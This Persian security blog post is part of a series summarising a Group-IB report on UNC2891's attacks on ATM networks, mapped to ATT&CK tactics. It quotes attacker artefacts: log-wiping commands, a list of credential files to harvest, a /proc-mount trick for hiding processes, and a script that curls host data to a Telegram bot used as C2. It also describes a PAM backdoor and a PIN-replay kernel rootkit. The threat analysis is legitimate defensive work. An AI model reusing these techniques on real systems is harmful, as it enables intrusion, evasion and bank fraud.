Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
    • دوره ی رایگان بررسی ساختار فایلهای PE (Portable Executable)
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • هکرهای ATM: قسمت دوم — TTPها
  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
  • مقالات

هکرهای ATM: قسمت دوم — TTPها

On آذر 9, 1404آذر 9, 1404
seyyid
Share
زمان مطالعه: 8 دقیقه

محققای Group-IB، از سال ۲۰۲۲، حملات مرتبط با گروه UNC2891، علیه خودپردازهای (ATM) چندین مؤسسه مالی در اندونزی رو مورد بررسی قرار دادن و اخیرا مهم ترین یافته‌ها و مشاهدات حاصل از این تحقیقات رو منتشر کردن. این گزارش رو که در 71 صفحه ارائه شده، در قالب 3 پست ارائه کردیم.

  • هکرهای ATM: قسمت اول — مرور و تحلیل حملات
  • هکرهای ATM: قسمت دوم — TTPها
  • هکرهای ATM: قسمت سوم — بدافزارها

این مجموعه پست ها، علاوه بر دید فنی، نحوه ی مواجهه با این رخداد و نحوه ی گزارش نویسی رو هم یاد میده. پست پیش رو، قسمت دوم این مجموعه است که به مرور TTPهای این حملات پرداخته.

 

بردار اولیه (Initial Vector) :

T1200 – Hardware Additions

بازیگر تهدید از طریق یک Raspberry Pi که به یک سوییچ پشت یک ATM متصل شده بود و مستقیما به بخش شبکه‌ی ATM دسترسی داشت، تونسته دسترسی ولیه به شبکه هدف بدست بیاره.

 

اجرا (Execution):

  • T1204.002 – User Execution: Malicious File
  • T1059.004 – Command and Scripting Interpreter: Unix Shell

بازیگران تهدید از دستورات مختلفی برای انتقال ابزارها در شبکه، ایجاد یک متغیر محیطی جهت آنپک کردن STEELCORGI، پاک کردن لاگها و حذف تاریخچه دستورات استفاده کردن.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
snap
snap bleach -a -z 9999 -C -y
snap bleach -i [redacted_ip] -0 -C -y
snap -t1 [redacted_ip]/24 22
snap -t1 [redacted_ip] tcpf
/usr/bin/python /usr/lib/command-not-found -- snap
./snap
snap bleach
snap bleach -n [redacted] -z 999999 -C -y
cd /tmp;alias s=snap
s bleach -a -z 999 -C -y
s nc110
./snap
./snap nc110
s bleach -i [redacted_ip] -0 -C -y
s -t1 [redacted_ip]/24 22
ss -t1 [redacted_ip]/24 22
s bleach
s bleach -n [redacted] -z 999999 -C -y

 

 افزایش امتیاز (Privilege Escalation):

T1068 – Exploitation for Privilege Escalation

بازیگر تهدید از uuencode، تکنیک تبدیل داده باینری به ASCII، برای انتقال فایل باینری به سرور قربانی از طریق کنسول SSH استفاده کرده. با رمزگشایی لاگی که مهاجم روی سرور ذخیره کرده بود، مشخص شد ماژول Dirty Cow مربوط به CVE-2016-5195 به سرور ارسال شده. این آسیب‌پذیری، یک race condition در فایل mm/gup.c در کرنل لینوکس نسخه 2.x تا 4.x قبل از 4.8.3 است، که باعث میشه کاربران محلی بتونن با سوءاستفاده از مدیریت نادرست قابلیت Copy-on-Write، روی مموری نگاشت شده ی فقط‌ خواندنی، بنویسن و امتیازات خودشون رو افزایش بدن.

 

پایداری (Persistence):

  • T1554 – Compromise Client Software Binary
  • T1556.003 – Modify Authentication Process: Pluggable Authentication Modules
  • T1543.002 – Systemd ServiceT1037.005 – Startup Items

باینریهای مختلفی در چندین میزبان دستکاری شده بودن تا بدافزار رو لوود کنن یا خود به بدافزار تبدیل بشن. باینریهای تغییر یافته:

  • /usr/bin/SSH
  • /usr/sbin/atd

فایل SSH تغییر یافته بود تا دو کتابخانه زیر رو لوود کنه:

  • /usr/lib/x86_64-linux-gnu/selinux.so.1
  • /lib/x86_64-linux-gnu/ selinux.so.1

این دو کتابخانه همان کیلاگر WINGHOOK بودن. در نتیجه، WINGHOOK روی تمام نشستهای ورودی SSH اجرا میشد.

باینری atd تغییر یافته بود تا بعنوان TINYSHELL عمل کنه. از آنجا که atd بصورت پیش‌فرض در پس‌ زمینه اجرا میشه، این روش ماندگاری دائمی برای بکدور ایجاد میکرد.

ماژول PAM شرکت قربانی دستکاری و با یک کتابخانه مخرب جایگزین شده بود که نقش SLAPSTICK رو ایفا میکرد.

بکدور TINYSHELL داخل پکیج رمزگذاری‌ شده STEELCORGI تعبیه شده بود، به همراه باینریهای مخرب usr/lib/systemd/systemd-helper و usr/lib/systemd/systemd-updt . این سرویسها به systemd اضافه شده بودن تا در هر بوت سیستم به صورت خودکار اجرا بشن. همچنین مهاجم با اسکریپتهای init و ایجاد سرویسها، TINYSHELL رو طوری پایدار کرده بود که با هر بار بالا اومدن سیستم اجرا بشن.

 

هک ATM توسط unc2891

 

 

فرار از شناسایی (Defense Evasion):

  • T1070.002 – Clear Linux or Mac System Logs
  • T1070.006 – Timestomp
  • T1036.005 – Masquerading
  • T1027 – Obfuscated Files
  • T1556.003 – Modify PAM
  • T1014 – Rootkit T1027.002 – Software Packing
  • T1480.001 – Environmental Keying
  • T1027.011 – Fileless Storage

بازیگر تهدید از تکنیکهای مختلفی برای فرار از شناسایی و سخت‌تر کردن تحلیل بدافزار استفاده کرده.

دو ابزار LOGBLEACH و MIGLOGCLEANER، برای حذف لاگها از منابع مختلف در لینوکس پیدا شد. این ابزارها میتونن کل لاگها یا رشته‌های خاص رو حذف کنن. LOGBLEACH با نامهای زیر مشاهده شد:

/dev/shm/b

/lib64/liblbch-2.4.so.2.5.6

/usr/lib/libmig.so.1

/usr/lib64/liblbch-2.4.so.2.5.6

/usr/share/i18n/pulse-shm-1489710120

در تاریخچه bash نیز شواهدی از استفاده LOGBLEACH دیده شد.

 

1
2
3
/lib64/liblbch-2.4.so.2.5.6 -a -C -y
/lib64/liblbch-2.4.so.2.5.6 -i 2.0.0.111 -z 999 -C -y
/lib64/liblbch-2.4.so.2.5.6 -n root -z 7777 -C -y

 

MIGLOGCLEANER با نامهای زیر مشاهده شده:

/usr/lib/libmig.so.1

/usr/lib64/libmm.so.1.0

مهاجم فایلهای بدافزار رو با نامهای مشابه کتابخانه‌های معتبر جایگزین کرده بود تا مخفی بمونن. جدول زیر نمونه‌هایی از شباهتهای بین نام بدافزار در مقایسه با نام کتابخانه ی قانونی رو نشان میده، که تفاوتها با رنگ قرمز برجسته شدن.

 

هک ATM توسط unc2891

 

تمام نمونه‌های بدافزار دارای موارد زیر بودن:

  • رمزگذاری پیلودها و رشته ها
  • ضد دیباگ
  • ضد آنالیز
  • رمزگذاری وابسته به محیط

همچنین لاگهای ایجاد شده توسط SLAPSTICK و WINGHOOK هم رمزگذاری شده بودن.

هرچند تکنیک Timestomping در همه نمونه‌ها دیده نشد، اما برای نسخه تغییر یافته pam_unix.so (یعنی SLAPSTICK) شواهد کاملی وجود داشت. اولین لاگ از 11 مارس 2017 بود اما زمان متادیتای فایل، 15 اکتبر 2012 بود. این اختلاف نشان‌ دهنده Timestomping است.

جدول زیر هم نشان دهنده ی استفاده از نام باینری های قانونی برای بدافزارهارو نشان میده، که تفاوتها با رنگ قرمز برجسته شده.

 

هک ATMها توسط گروه unc2891

 

محققا تکنیکی جدیدی مشاهده کردن که مهاجم از اون، برای مخفی کردن پروسسها از netstat، ss و ps استفاده کرده بود. در خروجی netstat و ss مشخص شد سرور به Raspberry Pi و یک سرور ایمیل متصل بود، اما پروسسهای مسئول این ارتباطات قابل مشاهده نبودن.

 

هک ATM

 

در dump حافظه مشخص شد مهاجم یک دایرکتوری مجازی روی فایل‌ سیستم proc مانت کرده و بطور خاص دایرکتوری مربوط به پروسس TINYSHELL رو در مسیر proc مخفی کرده تا پروسس در خروجی ps و netstat دیده نشه.

 

1
2
tmpfs on /proc/8239 type tmpfs (rw,nosuid,nodev)
/dev/vda1 on /proc/8914 type ext4 (rw,relatime,errors=remount-ro,data=ordered)

 

دسترسی به اعتبارنامه ها (Credential Access):

  • T1556.003 – Modify Authentication Process: Pluggable Authentication Modules
  • T1056.001 – Input Capture: Keylogging

همانطور که قبلا اشاره شد، بازیگر تهدید ماژولهای PAM رو با بدافزار SLAPSTICK روی میزبانهای آلوده جایگزین کرده بود. مهاجم ماژول اصلی PAM رو با نام pam_unix.so تغییر نام داده و به pam_unix,so تبدیل کرده بود. یکی از قابلیتهای SLAPSTICK این که تمامی داده‌های احراز هویت که از طریق PAM عبور می‌کنن رو خونده و اونارو در یک فایل لاگ رمزگذاری‌ شده با نام var/tmp/.font-unix ذخیره میکنه.

انواع داده‌هایی که در این فایل ثبت شدن:

 

 

شناسایی (Discovery):

  • T1016 – System Network Configuration Discovery
  • T1049 – System Network Connections Discovery
  • T1033 – System Owner/User Discovery
  • T1087 – Account Discovery
  • T1046 – Network Service Discovery
  • T1010 – Application Window Discovery
  • T1018 – Remote System Discovery

یک اسکریپت bash رمزگذاری‌ شده با نام uu1.ue که توسط مهاجم اجرا شده بود هم یافت شد. این اسکریپت قادر بود از بخشهای مختلف سیستم اطلاعات جمع‌آوری کنه. اطلاعات جمع آوری شده شامل موارد زیر است.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
* HOSTNAME
* USER LOGON
* NETWORK INFORMATION
* NETSTAT
* ARP
* /etc/hosts
* /etc/passwd
* /etc/shadow
* /etc/security/passwd
* /etc/sudoers
* /usr/local/etc/sudoers
* CRONTAB
* HISTORY FILES
* WTMP
* System log
* FIREWALL
* TOMCAT USERS
* ORACLE HOSTS
* SSH KNOWN HOSTS
* LIST HOMES FOLDER
* HOST STORAGE
* LDAP
* /etc/ntp.conf
* /etc/mail/sendmail[.]cf
* /etc/resolv\*

 

حرکت جانبی (Lateral Movement):

  • T1021.004 – Remote Services: SSH
  • T1210 – Exploitation of Remote Services
  • T1570 – Lateral Tool Transfer

مهاجم از یک تکنیک دیگه هم استفاده کرده بود که به اون اجازه میداد، بدون داشتن حساب معتبر وارد یک میزبان بشه. این کار از طریق یک پسورد جادویی انجام میشد که در SLAPSTICK بصورت هاردکد شده قرار داده شده بود. در فرایند احراز هویت، اگه فیلد رمز عبور با این پسورد جادویی شروع میشد، SLAPSTICK کاربر رو احراز هویت میکرد و یکی از سه دستور زیر رو اجرا میکرد:

  • rm# : حذف فایل موردنظر
  • sh# : اجرای دستورات از راه دور از طریق شل فعلی
  • tcp# : ایجاد اتصال TCP به یک سرور و ارسال داده‌ها به STDIN (عملکرد مشابه TCP Proxy)

براساس لاگهای SLAPSTICK، بیش از ۱۹ پسورد جادویی مختلف توسط مهاجم استفاده شده بود.

شکل زیر اتصال به میزبانی که SLAPSTICK در آن مستقر شده رو نشان میده.

 

 

با استفاده از اطلاعات سرقت‌ شده، مهاجم میتونست به‌ سادگی با SSH وارد میزبانهای مختلف بشه. همچنین دیده شده مهاجم دستور زیر رو اجرا کرده:

 

1
scp -t /tmp

 

این دستور باعث میشه، میزبان آلوده منتظر دریافت فایل قرار بگیره و هر فایل ورودی از SSH رو در مسیر tmp ذخیره کنه.

 

جمع آوری (Collection):

T1056.001 – Input Capture: Keylogging

در میان سرورهای تحلیل‌شده، کیلاگری با نام WINGHOOK در چندین سرور یافت شد. داده‌های جمع‌آوری شده توسط WINGHOOK در یک فایل رمزگذاری‌شده با نام var/tmp/.zmanDwJ2Og ذخیره میشد. در بسیاری از سرورها این نام ثابت بوده.

 

Command & Control:

  • T1572 – Protocol Tunneling
  • T1571 – Non-Standard Port
  • T1568 – Dynamic Resolution

برای حفظ دسترسی در شبکه‌های بسته، مهاجم از TINYSHELL در سرورهای مختلف استفاده کرده بود و اون رو طوری پیکربندی کرده بود که با سرور دیگه ای در شبکه ارتباط برقرار کنه. تحلیل فایلهای config (شکل زیر) نشان میده این ارتباط‌ات زنجیره‌ای بودن. وجود config نشان میده TINYSHELL قطعا روی سیستم اجرا شده.

 

 

روی یک سرور دیگه، ابزارهای iodine و OpenVPN هم یافت شد که در مسیر etc/init.d قرار داشتن و با update-rc.d ثبت شده بودن تا در زمان بوت اجرا بشن. تیم امنیتی قربانی اعلام کرد که این ابزارها رو نصب نکرده‌. Iodine ابزاری برای تونل کردن ترافیک IPv4 روی DNS است تا فایروالها و کنترلهای شبکه رو دور بزنه.

شکل زیر ارتباطات C2 مبتنی بر پیکربندی TINYSHELL رو نشان میده.

 

 

مهاجم برای C2 از Dynamic DNS (DDNS) استفاده میکرد. A-recordهای این دامنه‌ها فقط برای مدت زمان عملیات مهاجمان فعال و سپس غیرفعال میشدن که به اونا اجازه میداد تا حد امکان آدرسهای IP مورد استفاده رو مخفی کنن.

همچنین مشخص شد که بازیگر تهدید از یک ربات تلگرام برای دریافت IP فعلی یک دستگاه Raspberry Pi جعلی استفاده کرده. بازیگر تهدید از طریق cronjob اسکریپت usr/bin/con.sh رو با محتوای زیر اجرا میکرد:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
#/usr/bin/chk.sh &>/dev/null
if /usr/bin/ping -q -c 1 -W 5 8.8.8.8 >/dev/null; then
    echo "IPv4 is up" >/tmp/.con
else
    date >>/tmp/.reset
    /usr/sbin/route del default
    /usr/sbin/route del default
    /usr/sbin/route del default
    /usr/sbin/route del default
    /usr/sbin/route del default
    /usr/sbin/ip route add default via [redacted_host] dev usb0
    /usr/sbin/ip route del default via [Raspberry_Pi_host] dev eth0
fi

 

عملکرد اسکریپت:

  • اگه Raspberry Pi اینترنت داشت، خط IPv4 is up رو در tmp/.con می‌نوشت.
  • مقدار خروجی date رو در tmp/.reset ذخیره میکرد
  • مسیر پیش‌فرض رو حذف میکنه و یک مسیر دستی اضافه میکنه که تمام ترافیک رو به [redacted_host] هدایت کنه و از طریق رابط usb0 عبور میده. همچنین مسیری رو که ترافیک از اونجا به Raspberry Pi هدایت میشه رو حذف میکنه.

اسکریپت دیگه ای با نام usr/bin/chk.sh هم وجود داشت که IP Raspberry Pi رو برای بات تلگرام ارسال میکرد.

 

1
2
3
4
5
6
7
#!/bin/bash
export IFS=$'n'
if /usr/sbin/ifconfig eth0 | /usr/bin/grep -q inet; then
    rez=$(/usr/sbin/ifconfig eth0 | /usr/bin/grep inet | grep -v inet6)
    /usr/bin/curl "https://api.telegram.org/[redacted]/sendMessage?
chat_id=-[redacted]&text=$rez"
fi

 

این اسکریپت آدرس IP رزبری پای رو به یک ربات تلگرام ارسال میکنه که احتمالا یکی از زیرساخت‌های C2 بازیگر تهدید است. هدف به احتمال زیاد ردیابی آدرس IP رزبری پای هستش چون به دلیل پروتکل DHCP، در معرض تغییرات قرار میگیره.

 

تاثیر (Impact):

T1565.002 – Data Manipulation: Transmitted Data Manipulation

پس از شناسایی اولیه توسط تیم IT درباره دستکاری داده‌ها میان سرورهای ATM و سرور HSM، تحلیل dump حافظه انجام شد. نتیجه تحلیل نشان داد که یک روت‌کیت کرنلی با نام CAKETAP نصب شده، با نام ماژول ipstat در دایرکتوری sys.

عملکرد این روت کیت:

  • داده‌های خروجی از ATM به HSM رو رهگیری میکنه.
  • اونارو  با مجموعه‌ای از شرایط مقایسه میکنه، اگه شرایط برقرار باشه، داده قبل از خروج تغییر داده میشه.

CAKETAP همچنین شواهد نصب کرنلی خودش رو حذف کرده و لیست فایل ماژول کرنل خودش، ipstat، رو در دایرکتوری sys مخفی میکنه.

شکل زیر نمای کلی از نحوه ی کار روت‌کیت CAKETAP رو نشان میده.

 

روت کیت کرنلی CAKETAP

 

کارتهای جعلی پیامهای تأیید رو با یک الگوریتم سفارشی تولید میکردن. اگه پیام مطابق الگوریتم بود، روت‌کیت PAN رو در حافظه ذخیره میکرد. بعدش روی پیامهای PIN Verification:

  • اگه پیام برای کارت جعلی نبود: پیام رو همانطور ارسال میکرد.
  • اگه پیام برای کارت جعلی بود: پیام رو با یکی از پیامهای قبلا ذخیره‌ شده جایگزین میکرد.

این یک حمله Replay بود که باعث دور زدن تأیید PIN برای کارتهای جعلی میشد.

 

 

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آنالیز بدافزار اخبار بازیگران تهدید مقالاتIn ATM Hacking , Linux , rootkit , Timestomping , UNC2891

راهبری نوشته

هکرهای ATM: قسمت اول — مرور و تحلیل حملات
هکرهای ATM: قسمت سوم — بدافزارها

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مصاحبه، داستان هکرها
  • مقالات
  • مهندسی معکوس نرم افزار
  • هوش مصنوعی

پست های مرتبط

  • اخبار
  • تیم قرمز
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On بهمن 21, 1401فروردین 28, 1402

Offensive Security Automation

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On دی 19, 1401فروردین 28, 1402

بروزرسانی اندروید با اصلاح 60 آسیب پذیری

  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • مقالات
seyyid
On دی 2, 1401دی 19, 1401

بررسی آسیب پذیری جدید در OPENSSL3 (CVE-2022-3786 و CVE-2022-3602)

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On تیر 22, 1402تیر 22, 1402

بررسی آسیب پذیری بحرانی CVE-2023-36664 در Ghostscript

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کالی کروم گوگل

شبکه های اجتماعی

    • اینستاگرم
    • تلگرام
    • توییتر
    • گیت‌هاب
    • یوتیوب
    • لینکداین
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404